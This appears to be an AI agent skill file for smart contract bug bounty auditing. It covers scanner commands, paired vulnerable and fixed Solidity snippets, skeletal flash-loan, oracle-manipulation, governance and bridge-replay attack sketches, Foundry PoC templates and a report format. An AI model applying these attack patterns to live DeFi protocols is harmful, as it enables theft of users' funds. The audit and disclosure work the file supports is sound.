smart-contract-exploiter

Automated smart contract vulnerability scanning and exploit development for bug bounty. Use when auditing Solidity/Vyper contracts, building PoC exploits for DeFi protocols, hunting on.

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name	smart-contract-exploiter
description	Automated smart contract vulnerability scanning and exploit development for bug bounty. Use when auditing Solidity/Vyper contracts, building PoC exploits for DeFi protocols, hunting on.
domain	cybersecurity
author	oyi77
subdomain	blockchain-security
tags	["smart-contract","solidity","vyper","defi","exploit","bug-bounty","arkham","immunefi","slither","foundry","flash-loan","mev","cross-chain"]
version	1.0
license	MIT
nist_csf	["ID.RA-01","PR.DS-01","PR.DS-02"]

Smart Contract Exploiter

Overview

Smart contract bug bounty hunting pays $10k-$10M per critical finding. This skill covers the complete exploit development lifecycle: automated scanning with Slither/Mythril, manual code review, exploit prototyping with Foundry, flash loan attack patterns, MEV strategies, cross-chain bridge exploits, NFT vulnerabilities, DAO governance attacks, and submission to platforms like Arkham Intelligence, Immunefi, Code4rena, and Sherlock.

When to Use

Trigger phrases:

"smart contract exploiter"
"Hunting on Arkham Intelligence bug bounty programs"
"Auditing smart contracts for Immunefi, Code4rena, Sherlock submissions"
"Building PoC exploits for discovered vulnerabilities"
Hunting on Arkham Intelligence bug bounty programs
Auditing smart contracts for Immunefi, Code4rena, Sherlock submissions
Building PoC exploits for discovered vulnerabilities
Analyzing DeFi protocol economic attack vectors
Reviewing token contracts for rug pull indicators
Testing upgrade mechanisms and proxy patterns
Developing automated exploit chains
Analyzing cross-chain bridge vulnerabilities
Auditing NFT contracts (ERC721/ERC1155)
Testing DAO governance mechanisms
Analyzing L2-specific vulnerabilities (Optimism, Arbitrum, zkSync)

When NOT to Use

Target has no bug bounty program or written authorization
Simple token transfer testing (use block explorers)
Real-time price monitoring (use DeFi dashboards)
Gas optimization (use dedicated tools)

Prerequisites

Python 3.10+ with pip
Node.js 18+ (for Hardhat projects)
Foundry (forge, cast, anvil)
Slither (pip install slither-analyzer)
Mythril (pip install mythril)
Echidna (optional, for fuzzing)
solc-select for compiler management
RPC endpoints (Alchemy, Infura, or local node)

Installation

# Install Foundry (forge, cast, anvil)
curl -L https://foundry.paradigm.xyz | bash
foundryup

# Install Slither
pip install slither-analyzer

# Install Mythril
pip install mythril

# Install Echidna (optional)
# See: https://github.com/crytic/echidna

# Install solc-select for compiler management
pip install solc-select
solc-select install 0.8.19
solc-select use 0.8.19

# Install Aderyn (Rust-based Solidity analyzer)
curl -L https://raw.githubusercontent.com/Cyfrin/aderyn/dev/cyfrinup/install | bash
cyfrinup
aderyn .

# Check contract on Etherscan
cast code 0xCONTRACT_ADDRESS --rpc-url ethers

# Verify proxy detection
cast storage 0xCONTRACT_ADDRESS 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc

# Get contract ABI
cast abi 0xCONTRACT_ADDRESS --rpc-url ethers

# Get contract creation tx
cast creation 0xCONTRACT_ADDRESS --rpc-url ethers

# Check implementation (if proxy)
cast implementation 0xCONTRACT_ADDRESS --rpc-url ethers

# Get all storage slots
cast storage 0xCONTRACT_ADDRESS --rpc-url ethers

# Basic analysis
slither . --print human-summary

# Specific vulnerability detectors
slither . --detect reentrancy-eth,reentrancy-no-eth
slither . --detect unchecked-transfer
slither . --detect arbitrary-send-eth
slither . --detect weak-prng
slither . --detect uninitialized-state
slither . --detect uninitialized-storage
slither . --detect controlled-delegatecall
slither . --detect delegatecall-loop
slither . --detect tx-origin
slither . --detect assembly
slither . --detect low-level-calls
slither . --detect constable-states
slither . --detect external-function

# All detectors
slither . --detect all

# JSON output for parsing
slither . --json results.json

# Print contract summary
slither . --print contract-summary

# Print function summaries
slither . --print function-summary

# Print inheritance graph
slither . --print inheritance-graph

# Analyze single contract
mythril analyze contract.sol --execution-timeout 90

# Analyze with specific solc version
mythril analyze contract.sol --solv 0.8.19

# JSON output
mythril analyze contract.sol --json --execution-timeout 90

# Deep analysis (longer timeout)
mythril analyze contract.sol --execution-timeout 300 --max-depth 22

# Analyze deployed contract
mythril analyze 0xCONTRACT_ADDRESS --rpc infura-mainnet

# Custom loop bound
mythril analyze contract.sol --max-depth 30 --loop-bound 50

# Run Aderyn analyzer
aderyn .

# Output JSON
aderyn . --json

# Custom output path
aderyn . --output results.json

# Create echidna config
cat > echidna.yaml << EOF
testMode: "assertion"
testLimit: 50000
shrinkLimit: 5000
seqLen: 100
deployer: "0x10000"
sender: ["0x10000", "0x20000", "0x30000"]
EOF

# Run fuzzer
echidna-test . --contract TestContract --config echidna.yaml

# Property-based testing
echidna-test . --contract TestContract --testMode property

# Run fuzz tests
forge test --match-test testFuzz -vvvv

# Increase fuzz runs
forge test --match-test testFuzz --fuzz-runs 10000

// VULNERABLE: Precision loss in _upscale function (Balancer-style)
function _upscale(uint amount, uint scalingFactor) internal pure returns (uint) {
    return FixedPoint.mulDown(amount, scalingFactor);
    // When amount is small (8-9 wei) and scalingFactor is large,
    // mulDown truncates to 0 due to integer division
}

// ATTACK: Micro-swaps compound rounding errors
// 1. Push pool balance to critical 8-9 wei threshold
// 2. Execute 65+ micro-swaps (amount=17 vs balance=18)
// 3. Each swap loses ~10% precision via rounding
// 4. Accumulated error suppresses BPT price
// 5. Buy BPT at suppressed price, redeem at full value

// FIX: Use mulUp for critical operations, validate invariant after batch
function _upscale(uint amount, uint scalingFactor) internal pure returns (uint) {
    return FixedPoint.mulUp(amount, scalingFactor);
}

// FIX: Add invariant check after batch operations
function batchSwap(...) external {
    // ... swap logic ...
    require(_verifyInvariant(), "Invariant violated");
}

// VULNERABLE: Cached state not cleared when pool emptied
mapping(uint => uint) packed_vbs; // Cached virtual balances

function remove_liquidity(uint amount) external {
    // Burns LP tokens, decrements packed_vbs
    // BUT: When supply hits 0, packed_vbs retains residual values!
}

function add_liquidity(uint amount) external {
    if (supply == 0) {
        // "First-ever deposit" logic reads stale cached values
        // Instead of calculating from actual deposit, reads packed_vbs
        // Result: Mints septillions of LP tokens from dust deposit
    }
}

// FIX: Explicitly clear ALL cached state when supply hits zero
function remove_liquidity(uint amount) external {
    // ... burn logic ...
    if (supply == 0) {
        packed_vbs = new uint[](0); // CLEAR CACHE
    }
}

// FIX: Add domain checks for "first deposit" scenario
function add_liquidity(uint amount) external {
    if (supply == 0) {
        require(amount > MIN_DEPOSIT, "Dust deposit blocked");
        // Verify no stale cached state exists
        require(packed_vbs.length == 0, "Stale cache detected");
    }
}

// VULNERABLE: Bug in third-party library becomes protocol bug
// integer-mate library's checked_shlw had wrong mask
// Left-shift overflow wrapped silently in Move language
// Result: $223M exploit on Sui blockchain

// FIX: Audit ALL dependencies, not just protocol code
// FIX: Add runtime assertions for critical math operations
function checked_shlw(value: u128, shift: u8): (u128, u8) {
    let mask = (1u128 << shift) - 1; // Correct mask
    let overflow = value & mask;
    let result = value >> shift;
    (result, if (overflow > 0) { 1 } else { 0 })
}

// VULNERABLE: state update after external call
function withdraw() external {
    uint balance = balances[msg.sender];
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success);
    balances[msg.sender] = 0; // TOO LATE
}

// FIX: checks-effects-interactions
function withdraw() external {
    uint balance = balances[msg.sender];
    balances[msg.sender] = 0; // State first
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success);
}

// VULNERABLE: cross-function reentrancy
function transfer(address to, uint amount) external {
    require(balances[msg.sender] >= amount);
    balances[msg.sender] -= amount;
    balances[to] += amount;
}

function withdraw() external {
    uint balance = balances[msg.sender];
    (bool success, ) = msg.sender.call{value: balance}("");
    require(success);
    balances[msg.sender] = 0;
}
// Attacker: receive() calls transfer() before balances[msg.sender] = 0

// Flash loan exploit pattern
contract FlashLoanExploit {
    function attack() external {
        // Step 1: Flash loan from Aave/dYdX
        uint amount = 1000000 ether;
        IFlashLender(lender).flashLoan(amount);
    }
    
    function executeOperation(
        address asset,
        uint amount,
        uint premium,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        // Step 2: Manipulate price oracle
        manipulatePrice();
        
        // Step 3: Exploit vulnerable protocol
        exploitProtocol();
        
        // Step 4: Repay flash loan + premium
        IERC20(asset).transfer(lender, amount + premium);
        
        // Step 5: Keep profit
        return true;
    }
    
    function manipulatePrice() internal {
        // Swap large amount to skew price
        uint reserve0 = pair.reserve0();
        uint reserve1 = pair.reserve1();
        // Flash loan drains one side → price manipulation
    }
}

// VULNERABLE: missing access control
function setOwner(address newOwner) external {
    owner = newOwner; // Anyone can call!
}

// VULNERABLE: wrong visibility
function _authorizeUpgrade(address impl) public {
    // Should be internal
}

// VULNERABLE: missing modifier
function mint(address to, uint amount) external {
    _mint(to, amount); // Missing onlyOwner
}

// FIX: Proper access control
function setOwner(address newOwner) external onlyOwner {
    owner = newOwner;
}

// Pre-0.8.0: silent overflow
uint8 x = 255;
x += 1; // Becomes 0, no revert

// Post-0.8.0: reverts by default
// But unchecked blocks still vulnerable
unchecked {
    uint8 x = 255;
    x += 1; // Becomes 0
}

// VULNERABLE: unchecked in critical math
function calculateReward(uint amount) internal pure returns (uint) {
    unchecked {
        return amount * rewardRate / 1e18; // Overflow possible
    }
}

// VULNERABLE: spot price from single DEX
function getPrice() returns (uint) {
    return token.balanceOf(address(pair)) * 1e18 / 
           otherToken.balanceOf(address(pair));
}
// Flash loan drains one side → price manipulation

// VULNERABLE: single oracle source
function getPrice() returns (uint) {
    return IChainlinkOracle(oracle).latestAnswer();
}
// Oracle can be manipulated if single source

// FIX: Use TWAP oracle (Chainlink, Uniswap TWAP)
function getPrice() returns (uint) {
    (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) = 
        IUniswapV2Pair(pair).getReserves();
    
    uint timeElapsed = blockTimestamp - blockTimestampLast;
    uint amount0 = (price0Cumulative - price0CumulativeLast) / timeElapsed;
    uint amount1 = (price1Cumulative - price1CumulativeLast) / timeElapsed;
    
    return (amount0 * 1e18) / amount1;
}

// VULNERABLE: rounding error in shares
function deposit(uint amount) external returns (uint shares) {
    shares = amount * totalShares / totalAssets;
    // If totalAssets is small, shares rounds to 0
    _mint(msg.sender, shares);
    totalAssets += amount;
}

function withdraw(uint shares) external returns (uint amount) {
    amount = shares * totalAssets / totalShares;
    // Attacker deposits 1 wei, gets 0 shares, deposits more
    _burn(msg.sender, shares);
    totalAssets -= amount;
}

// FIX: Round shares up, amount down
function deposit(uint amount) external returns (uint shares) {
    shares = (amount * totalShares + totalAssets - 1) / totalAssets;
    _mint(msg.sender, shares);
    totalAssets += amount;
}

// VULNERABLE: no nonce, no chain ID check
function execute(address to, uint value, bytes memory data, bytes memory sig) {
    bytes32 hash = keccak256(abi.encodePacked(to, value, data));
    address signer = ECDSA.recover(hash, sig);
    require(signer == owner);
    // Same signature can be reused!
}

// VULNERABLE: missing nonce
function execute(address to, uint value, bytes memory data, bytes memory sig) {
    bytes32 hash = keccak256(abi.encodePacked(to, value, data, block.chainid));
    address signer = ECDSA.recover(hash, sig);
    require(signer == owner);
    // Replay within same block!
}

// FIX: Include nonce and chain ID
bytes32 hash = keccak256(abi.encodePacked(to, value, data, nonce, block.chainid));

// VULNERABLE: storage collision
contract Proxy {
    address implementation; // Slot 0
    address owner; // Slot 1
}

contract Implementation {
    address owner; // Slot 0 - COLLISION!
    uint256 value; // Slot 1
}

// VULNERABLE: uninitialized implementation
contract Implementation {
    bool initialized;
    
    function initialize(address _owner) external {
        require(!initialized);
        owner = _owner;
        initialized = true;
    }
    // Missing: disableInitializers() in constructor
}

// FIX: EIP-1967 storage slots
bytes32 private constant IMPLEMENTATION_SLOT = 
    0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

// FIX: disableInitializers()
constructor() {
    _disableInitializers();
}

// VULNERABLE: iterating over all users
function distributeRewards() external {
    for (uint i = 0; i < users.length; i++) {
        // If array grows too large, gas limit blocks execution
        users[i].transfer(reward);
    }
}

// VULNERABLE: griefing with small deposits
function claimReward() external {
    require(rewards[msg.sender] > 0);
    // Attacker deposits dust → rewards calculation fails
}

// FIX: Pull pattern
mapping(address => uint) public pendingRewards;

function claimReward() external {
    uint amount = pendingRewards[msg.sender];
    pendingRewards[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}

// VULNERABLE: transaction ordering dependence
function buyToken() external payable {
    uint price = tokenPrice;
    // Price changes after this tx
    token.transfer(msg.sender, msg.value / price);
}

// VULNERABLE: sandwich attack vector
function swap(uint amountIn, uint amountOutMin) external {
    uint amountOut = getAmountOut(amountIn);
    require(amountOut >= amountOutMin);
    // MEV bot can sandwich this
}

// FIX: Use commit-reveal or private mempool
function buyToken() external payable {
    // Commit phase
    commitments[msg.sender] = keccak256(abi.encodePacked(amount, nonce));
}

function revealBuy(uint amount, uint nonce) external {
    // Reveal phase
    require(commitments[msg.sender] == keccak256(abi.encodePacked(amount, nonce)));
}

// VULNERABLE: owner can drain
function withdrawFunds() external onlyOwner {
    payable(owner).transfer(address(this).balance);
}

// VULNERABLE: no timelock
function setFee(uint newFee) external onlyOwner {
    fee = newFee; // Can change instantly
}

// FIX: Timelock + multisig
TimelockController timelock;

function setFee(uint newFee) external {
    // Must go through timelock
    bytes memory data = abi.encodeCall(this.setFee, (newFee));
    timelock.schedule(address(this), 0, data, bytes32(0), bytes32(0), delay);
}

// Manipulate reserves for profit
function manipulateAMM() external {
    // Step 1: Flash loan large amount
    uint amount = flashLoan(1000000 ether);
    
    // Step 2: Swap to skew reserves
    router.swapExactTokensForTokens(amount, 0, path, address(this), deadline);
    
    // Step 3: Exploit protocol using manipulated price
    protocol.deposit(manipulatedAmount);
    
    // Step 4: Swap back
    router.swapExactTokensForTokens(balance, 0, reversePath, address(this), deadline);
    
    // Step 5: Repay flash loan
    repayFlashLoan();
}

// Liquidation manipulation
function manipulateLiquidation() external {
    // Step 1: Flash loan to crash collateral price
    crashCollateralPrice();
    
    // Step 2: Liquidate position at discount
    lending.liquidate(borrower, collateral, repayAmount);
    
    // Step 3: Restore price
    restorePrice();
    
    // Step 4: Profit from liquidation bonus
}

// Share price manipulation
function manipulateVault() external {
    // Step 1: Donate to vault to inflate share price
    token.transfer(address(vault), donationAmount);
    
    // Step 2: Deposit at inflated price
    vault.deposit(depositAmount, address(this));
    
    // Step 3: Withdraw at even higher price
    vault.withdraw(withdrawAmount, address(this), address(this));
    
    // Profit from rounding error
}

// Bridge message manipulation
function exploitBridge() external {
    // Step 1: Send message to source chain
    bridge.sendMessage(destinationChain, payload);
    
    // Step 2: Replay message on destination
    // If bridge doesn't track used messages
    bridge.executeMessage(message, signature);
    
    // Step 3: Repeat for double-spend
}

// Flash loan governance attack
function attackGovernance() external {
    // Step 1: Flash loan governance tokens
    uint tokens = flashLoan(governanceToken, 1000000 ether);
    
    // Step 2: Vote on proposal
    governance.castVote(proposalId, support);
    
    // Step 3: Repay flash loan
    repayFlashLoan(governanceToken, tokens);
    
    // Governance decision made without holding tokens
}

PRIORITY 1 - ROUNDING/PRECISION (2025 #1 Vector):
- [ ] Batch operations: Test cumulative effects, not just individual ops
- [ ] Rounding direction: mulDown vs mulUp in critical paths
- [ ] Scaling factors: Non-unitary values enable precision attacks
- [ ] Small value handling: 8-9 wei range maximizes truncation
- [ ] State reset: All cached values cleared when supply hits zero?
- [ ] Re-initialization: Can bootstrap paths be re-entered adversarially?

PRIORITY 2 - ACCESS CONTROL & LOGIC:
- [ ] External calls: Every .call, .transfer, .send is potential reentrancy
- [ ] State changes: Are they before or after external calls?
- [ ] Access control: Who can call what? Are modifiers correct?
- [ ] Math: Division before multiplication? Rounding? Precision?
- [ ] Upgrades: Storage layout compatible? Initializers protected?

PRIORITY 3 - ECONOMIC ATTACKS:
- [ ] Economic invariants: Can flash loans break assumptions?
- [ ] Oracle dependencies: Single source? Manipulable? TWAP?
- [ ] Token approvals: Unlimited approvals? Race conditions?
- [ ] Callback patterns: Reentrancy via callback tokens (ERC777)?

PRIORITY 4 - IMPLEMENTATION DETAILS:
- [ ] Assembly blocks: Without comments? Unchecked operations?
- [ ] tx.origin usage: Phishing attack vector?
- [ ] Floating pragma: Not pinned to specific version?
- [ ] selfdestruct: Callable by anyone?
- [ ] Block timestamp: Dependence (miners can manipulate ±15s)?
- [ ] Gas limits: DoS via unbounded loops?
- [ ] Integer math: Overflow/underflow in unchecked blocks?
- [ ] Token standards: ERC20 return values checked?
- [ ] Proxy patterns: Storage collision? Uninitialized?
- [ ] Cross-chain: Message validation? Replay protection?
- [ ] Flash loan: Can flash loan break protocol assumptions?
- [ ] Dependencies: All third-party libraries audited?

# Create new Foundry project
forge init exploit-poc
cd exploit-poc

# Install dependencies
forge install openzeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std
forge install aave/aave-v3-core
forge install uniswap/v3-core

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/VulnerableContract.sol";

contract ExploitTest is Test {
    VulnerableContract target;
    address attacker = address(0x1337);
    
    function setUp() public {
        // Fork mainnet at specific block
        vm.createSelectFork("mainnet", 18000000);
        
        // Deploy or connect to target
        target = VulnerableContract(0xTARGET_ADDRESS);
        
        // Fund attacker
        vm.deal(attacker, 100 ether);
    }
    
    function testExploit() public {
        vm.startPrank(attacker);
        
        // Step 1: Flash loan
        // Step 2: Manipulate price
        // Step 3: Exploit vulnerability
        // Step 4: Repay loan + profit
        
        vm.stopPrank();
        
        // Verify profit
        uint profit = address(this).balance;
        assertGt(profit, 0, "No profit extracted");
        emit log_named_uint("Profit (ETH)", profit);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "forge-std/Test.sol";
import "../src/VulnerableProtocol.sol";

interface IFlashLoanPool {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata params
    ) external;
}

contract FlashLoanExploit is Test {
    VulnerableProtocol target;
    IFlashLoanPool pool;
    IERC20 token;
    address attacker = address(0x1337);
    
    function setUp() public {
        vm.createSelectFork("mainnet", 18000000);
        
        target = VulnerableProtocol(0xTARGET);
        pool = IFlashLoanPool(0xPOOL);
        token = IERC20(0xTOKEN);
        
        vm.deal(attacker, 10 ether);
    }
    
    function testFlashLoanExploit() public {
        vm.startPrank(attacker);
        
        // Initiate flash loan
        pool.flashLoan(
            address(this),
            address(token),
            1000000 ether,
            abi.encode("attack")
        );
        
        vm.stopPrank();
        
        // Verify profit
        uint profit = token.balanceOf(address(this));
        assertGt(profit, 0, "No profit");
        emit log_named_uint("Profit", profit);
    }
    
    function executeOperation(
        address asset,
        uint256 amount,
        uint256 premium,
        address initiator,
        bytes calldata params
    ) external returns (bool) {
        // Attack logic here
        exploitProtocol();
        
        // Repay flash loan
        IERC20(asset).transfer(pool, amount + premium);
        
        return true;
    }
    
    function exploitProtocol() internal {
        // Manipulate price
        // Exploit vulnerability
        // Extract profit
    }
}

# Run test
forge test --match-test testExploit -vvvv

# Fork from specific block
forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/YOUR_KEY --fork-block-number 18000000

# Gas snapshot
forge snapshot

# Debug with traces
forge test --match-test testDebug -vvvv --debug

# Query Arkham API for contract intelligence
curl -X GET "https://api.arkhamintelligence.com/v1/contracts/0xADDRESS" \
  -H "Authorization: Bearer YOUR_API_KEY"

# Get transaction history
curl -X GET "https://api.arkhamintelligence.com/v1/transactions/0xADDRESS" \
  -H "Authorization: Bearer YOUR_API_KEY"

# Get entity attribution
curl -X GET "https://api.arkhamintelligence.com/v1/entities/0xADDRESS" \
  -H "Authorization: Bearer YOUR_API_KEY"

# Get fund flows
curl -X GET "https://api.arkhamintelligence.com/v1/flows/0xADDRESS" \
  -H "Authorization: Bearer YOUR_API_KEY"

# Slither supports Vyper
slither contract.vy

# Manual review focuses on:
# - Reentrancy (Vyper has no built-in guard)
# - Integer overflow (pre-0.3.0)
# - Access control (no modifiers, use @external)

# Move-specific vulnerabilities:
# - Resource handling errors
# - Reference safety issues
# - Module initialization bugs
# - Event emission issues

# Tools:
# - Move Prover (formal verification)
# - Sui security scanner
# - Aptos CLI audit

# Cairo-specific vulnerabilities:
# - Felt overflow (252-bit prime field)
# - Storage layout issues
# - syscall handling
# - Reference counting bugs

# Tools:
# - Cairo security scanner
# - StarkNet audit tools

## Title
[Severity] Brief description of vulnerability

## Target
Contract: 0x...
Chain: Ethereum/Arbitrum/Optimism/Polygon/Base
TVL: $X
Block: X

## Vulnerability Type
Reentrancy / Access Control / Oracle Manipulation / Flash Loan / MEV / etc.

## Impact
- Funds at risk: $X
- Attack complexity: Low/Medium/High
- Prerequisites: Flash loan capital, specific conditions
- Affected users: All / Specific positions

## Root Cause
[Technical explanation of why the vulnerability exists]

## Proof of Concept
[Working Foundry/Hardhat test with detailed comments]

## Attack Flow
1. Step 1: ...
2. Step 2: ...
3. Step 3: ...

## Recommended Fix
[Specific code change with before/after comparison]

## References
- SWC-ID: SWC-XXX
- CWE: CWE-XXX
- Similar exploits: [Link to past incidents]

Skill Level	Focus	Monthly Range
Beginner	Reentrancy, access control	$0-$5,000
Intermediate	Oracle manipulation, flash loans	$5,000-$50,000
Advanced	Economic exploits, novel attack chains	$50,000-$500,000
Elite	0-day discovery, protocol-level bugs	$500,000+

Purpose	Tools
Static analysis	Slither, Mythril, Securify2, Aderyn
Fuzzing	Echidna, Foundry fuzz, Medusa
Testing	Foundry (forge), Hardhat, Brownie
Block explorer	Etherscan, Blockscout, Sourcify, Blocknative
DeFi data	DeFiLlama, Dune Analytics, DefiSafety, DeBank
MEV analysis	Flashbots Protect, MEV Blocker, EigenPhi, MEV-Explore
Exploit frameworks	Foundry, Brownie, Ape, Titanoboa
On-chain intel	Arkham Intelligence, Nansen, Dune, Arkham
Formal verification	Certora, Halmos, SMTChecker
Cross-chain	LayerZero, Wormhole, Axelar explorers

Platform	Focus	Max Bounty	Key Stats
Immunefi	DeFi/Web3	$15.5M (Uniswap v4)	$134M+ paid, 85K+ researchers, 92.33% of criticals
Sherlock	Protocol audits	$16M (Usual)	52% hit rate, stake-to-submit ($250)
Code4rena	Competitive audits	$250K per contest	Community-driven, public results
HackenProof	Crypto projects	$50K+	200+ active programs, $15.7M+ paid
Cantina	Competitive audits	$5M (Coinbase)	Growing platform
Arkham Intelligence	On-chain intel	Varies (ARKM)	Intel Marketplace + Immunefi BBP
CodeHawks	Smart contracts	$100K+	Emerging platform
Hats Finance	Decentralized bounties	$50K+	No KYC, permissionless

Rationalization	Reality
"We are too small to be targeted"	Automated attacks target everyone. Size does not matter.
"Security slows us down"	A breach slows you down 100x more. Build security in from the start.
"We will fix it after launch"	Vulnerabilities in production are exploited within hours. Fix before deploy.